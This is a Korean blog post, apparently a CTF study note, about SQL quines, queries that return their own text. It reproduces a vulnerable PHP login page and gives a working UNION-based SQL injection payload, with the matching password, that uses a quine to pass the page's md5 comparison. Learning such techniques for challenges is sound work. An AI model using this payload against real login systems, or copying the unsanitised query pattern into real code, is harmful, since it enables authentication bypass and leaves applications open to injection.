Quine라는게 있다. 이번 jff3에서 rubiya님이 냈던 mbm2문제가 이걸로 푸는건데..... Quine라는걸 지금 처음 봤다.(휴.) 앞으로 ctf좀 자주 뒤적뒤적해봐야겠다.
Quine라는건 자기 자신의 소스코드를 출력하는걸 뜻한다고 한다. https://en.wikipedia.org/wiki/Quine_(computing)
언제적 코드게이트인지는 모르지만 코드게이트에 이 문제가 나왔었고, 좋은 블로그에 풀이와 설명이 있어서 이해할 수 있었다. source : http://www.shysecurity.com/posts/SQLi-Quine
SELECT $$ AS Quine $$ => REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$) 이게 기본 형태이고 $$는 문장이 길어서 대체용으로 써놓은것.
SELECT REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$) AS Quine $$ => 'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine' $$대신 위의 문장을 집어넣으면 아래처럼 된다.
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
이걸 실행해보면 이 쿼리 그대로 나옴을 알 수 있다.
대치하면 이 구문이 되고, 이걸 실행해보면 원래의 쿼리가 그대로 나온다고 한다. 저번에 어디다가 적었었는데 이 구문말고도 information_schema.processlist를 이용하면 현재 쿼리의 일부분을 뽑아올 수 있다.
일단 저 블로그 삭제될지 모르니까 해당 소스 복붙 함.
<form method=get action="index.php"><div><h1>Login</h1> ID <input type=text name=id> PW <input type=text name=pw> <input type=submit value='Submit'> <input type=button onclick=location.href='index.phps' value='Source'> </form> <?php $q=@mysql_fetch_array(mysql_query("select id,pw from mem where id='$_GET[id]'")); if($_GET['id'] && $_GET['pw']) { if(!$q['id']) exit(); if(md5($q['id'])==md5($_GET['id'])) { echo("<br>hi! ".htmlspecialchars($q['id'])."<br><br>"); $q['pw']=trim($q['pw']); $_GET['pw']=trim($_GET['pw']); if(!$q['pw']) exit(); if($q['pw']==md5($_GET['pw'])) { echo("<p class=msg>Password is ????</p>"); } else { echo("<p class=error>Wrong pw</p>"); } } } ?></div>
이러이러한 소스를 공격하려면 id는
' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS id,MD5("z") AS pw-- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS id,MD5("z") AS pw-- ') AS id,MD5('z') AS pw--
pw는 'fbade9e36a3f36d3d676c1b808451dd7' //md5('z')
이렇게 하면 된다고 한다. 넣어보면 제대로 됨을 확인할수 있음. jff3의 mbm2는 이걸 이용해서 하면 된다고 하는데 일단 연구좀 더해보고 성공하면 글 추가.
'webhacking > sql, sql injection' 카테고리의 다른 글
codeshell.kr authorization (0) | 2015.08.08 |
---|---|
codeshell.kr unsolvable (0) | 2015.08.02 |
chall.tasteless.eu Tournament, Fred's cms (0) | 2015.07.27 |
RedTigers Hackit 8,9,10 (0) | 2015.07.14 |
wixxerd.com Adjoined, Inserted, Who's the custodian? (sql programming) (0) | 2015.07.12 |